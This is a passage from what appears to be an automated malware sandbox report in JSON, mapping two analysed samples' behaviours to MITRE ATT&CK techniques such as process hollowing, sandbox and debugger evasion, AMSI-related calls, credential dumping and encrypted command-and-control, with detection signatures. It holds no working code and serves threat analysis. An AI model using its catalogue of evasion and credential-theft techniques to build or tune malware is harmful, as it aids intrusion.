Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Creates a system process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"},{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"suspicious","value":"Adjusts debug privileges"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Able to manipulate a file/directory time format"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"suspicious","value":"Uses a .NET obfuscator to hide its code"},{"type":"informative","value":"Contains ability to perform AES decryption (Dotnet String)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Spawns Windows crash diagnostic and reporting process"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"},{"type":"informative","value":"Contains ability to retrieve credential objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Contains ability to retrieve processes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve event logs (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Collection","technique":"Code Repositories","attack_id":"T1213.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1213/003","identifiers":[{"type":"informative","value":"Able to access code repositories"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"YARA signature match - Compress data using CryptoPP library"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"GETs files from a webserver"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"},{"type":"informative","value":"Contains ability to perform RSA encryption using crypto++ library"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"},{"type":"informative","value":"Contains ability to perform AES encryption using crypto++ library"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"},{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to receive remote commands (Powershell command string)"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Contains ability to run commands from session history (Powershell command string)"},{"type":"informative","value":"Contains ability to run commands (Powershell command string)"},{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Contains ability to add modules to the current session (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to start services (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to call WMI method (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/techniques/T1197","identifiers":[{"type":"informative","value":"Contains reference to background jobs (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"Windows Management Instrumentation Event Subscription","attack_id":"T1546.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/003","identifiers":[{"type":"informative","value":"Contains ability to create/update instances of WMI classes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to delete a property and its value from an item (Powershell command string)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Contains ability to terminate services/features (Powershell command string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Rename System Utilities","attack_id":"T1036.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/003","identifiers":[{"type":"informative","value":"Contains ability to rename items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"informative","value":"Contains ability to clear Powershell session command history (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Contains ability to write/modify file content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to clear content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Credential Access","technique":"Network Sniffing","attack_id":"T1040","attack_id_wiki":"https://attack.mitre.org/techniques/T1040","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move items (Powershell command string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Tries to move items using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Lateral Movement","technique":"Windows Remote Management","attack_id":"T1021.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/006","identifiers":[{"type":"informative","value":"Contains reference to remote powershell session activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65c1373009318f738105a19f"}]}],"sandbox_signatures":[{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.009","id":"yara-26","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e0d8ce628db1060086df8"}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with high confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as 